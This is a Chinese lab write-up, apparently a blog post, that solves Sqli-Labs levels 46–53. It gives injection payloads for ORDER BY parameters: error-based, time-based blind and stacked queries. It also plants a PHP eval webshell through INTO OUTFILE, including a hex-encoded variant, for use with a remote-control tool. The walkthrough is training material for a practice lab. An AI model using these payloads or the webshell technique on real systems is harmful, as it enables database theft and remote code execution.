zoukankan      html  css  js  c++  java
  • Sqli-Labs less46-53

    less-46

    前置基础知识:

    select * from users order by 1 desc ;使用降序(倒序)排列

    select * from users order by 1 asc ;使用升序(正序)排列

    select right(database(),1);从右至左输出第一个字母

    select lesft(database(),1);从左至右输出第一个字母

    lines terminated by 666  每行输出以666结尾

    第46关和之前的不同/根据提示可以看到让输入sort,观察源码并加上输出语句,实际上输入查询的还是id:

     然后输出?sort=1可以得出user表的信息,并可以排序:http://192.168.0.106:300/Less-46/?sort=1 desc

     

    下面通过两种办法拿到数据库的其他信息:

    第一种办法:报错注入

    http://192.168.0.106:300/Less-46/?sort=1 and updatexml (1, concat(0x7e,database()) ,1)

    其他省略

    第二种办法:延时注入

    http://192.168.0.106:300/Less-46/?sort=1 and if(length(database())=8  ,1,sleep(5))

     二种办法都可以在database()处构造语句。

    less-47

    基本与46关相同,就是order by ‘1’

    闭合的sql语句变成了:

    第一种办法:报错注入

    http://192.168.0.106:300/Less-47/?sort=1‘ and updatexml (1, concat(0x7e,database()) ,1) --+

    第二种办法:延时注入

    http://192.168.0.106:300/Less-47/?sort=1’ and if(length(database())=8  ,1,sleep(5))--+

    less-48

    基本与46关相同,但是这一关没有错误的回显,所以只能用盲注的办法:

    延时盲注

    http://192.168.0.106:300/Less-48/?sort=1 and if(length(database())=8  ,1,sleep(5))

     先判断长度,再判断内容,以下省略

    less-49

    基本与46关相同,就是order by ‘1’,然后不显示报错,所以也可以用盲注的办法:

    延时注入

    http://192.168.0.106:300/Less-49/?sort=1‘ and if(length(database())=8  ,1,sleep(5)) --+

     其他步骤相同

    less46-49的其他打开方式:使用函数写入一句话木马

    这里以46关为例,我们首先使用outfile函数:

    http://192.168.0.105/sqli-labs/Less-46/?sort=1 and (select '<php @eval($_POST["crow"];?>') into outfile 'C:\PhpStudy\PHPTutorial\WWW\sqli-labs\Less-46\mm.php' --+

     

     可以看到文件虽然已经有了,但是并没有一句话木马,所以也不能使用菜刀链接。

    但是我们现在可以使用文章开头提到的line terminal by 语句进行输入:(最后是一句话16进制形式)

    http://192.168.0.105/sqli-labs/Less-46/?sort=1 into outfile 'C:\PhpStudy\PHPTutorial\WWW\sqli-labs\Less-46\mm2.php' lines terminated by 0x3c70687020406576616c28245f504f53545b2263726f77225d3b3f3e

     

    可以看到,输出的每一行都写入了一句话木马,这样就可以用菜刀进行连接。

    less-50

    这一关大同小异:

    方法一:延时注入

    方法二:报错注入

    方法三:写入一句话木马  以上三种方法参考上面。

    方法四:使用堆叠注入创建新的users表:

    http://192.168.0.105/sqli-labs/Less-50/?sort=1;create table hzk50 like users;insert into hzk50 select * from users;

     方法五:使用堆叠注入写入一句话木马。

    以上方法都可以,具体参考前几关的文章。

    less-51

    和50关基本相同,order by ’1‘语句数据包裹形式不同

    方法一:延时注入

    方法二:报错注入

    方法三:写入一句话木马  以上三种方法参考上面。

    方法四:使用堆叠注入创建新的users表。

     方法五:使用堆叠注入写入一句话木马。

    less-52

    和50关基本相同,但是输出报错信息,所以不能用报错注入。

    方法一:延时注入

    方法二:写入一句话木马  以上三种方法参考上面。

    方法三:使用堆叠注入创建新的users表。

     方法四:使用堆叠注入写入一句话木马。

    less-53

    和50关基本相同,order by ’1‘语句数据包裹形式不同,而且没有输出报错信息的语句,所以不能用报错注入。

    方法一:延时注入

    方法二:写入一句话木马  以上三种方法参考上面。

    方法三:使用堆叠注入创建新的users表。

     方法四:使用堆叠注入写入一句话木马。

  • 相关阅读:
    23.C++- 继承的多种方式、显示调用父类构造函数、父子之间的同名函数、virtual虚函数
    22.C++- 继承与组合,protected访问级别
    LeetCode-391. 完美矩形(使用C语言编译,详解)
    LeetCode-101.对称二叉树
    STM32-对芯片启动读保护,实现加密(详解)
    21.C++- "++"操作符重载、隐式转换之explicit关键字、类的类型转换函数
    20.C++- "&&","||"逻辑重载操作符的缺陷、","逗号重载操作符的分析
    19.C++-(=)赋值操作符、初步编写智能指针
    18.C++-[ ]操作符使用 、函数对象与普通函数区别(详解)
    ECMAScript 6.0基础入门教程
  • 原文地址:https://www.cnblogs.com/hzk001/p/12238947.html
Copyright © 2011-2022 走看看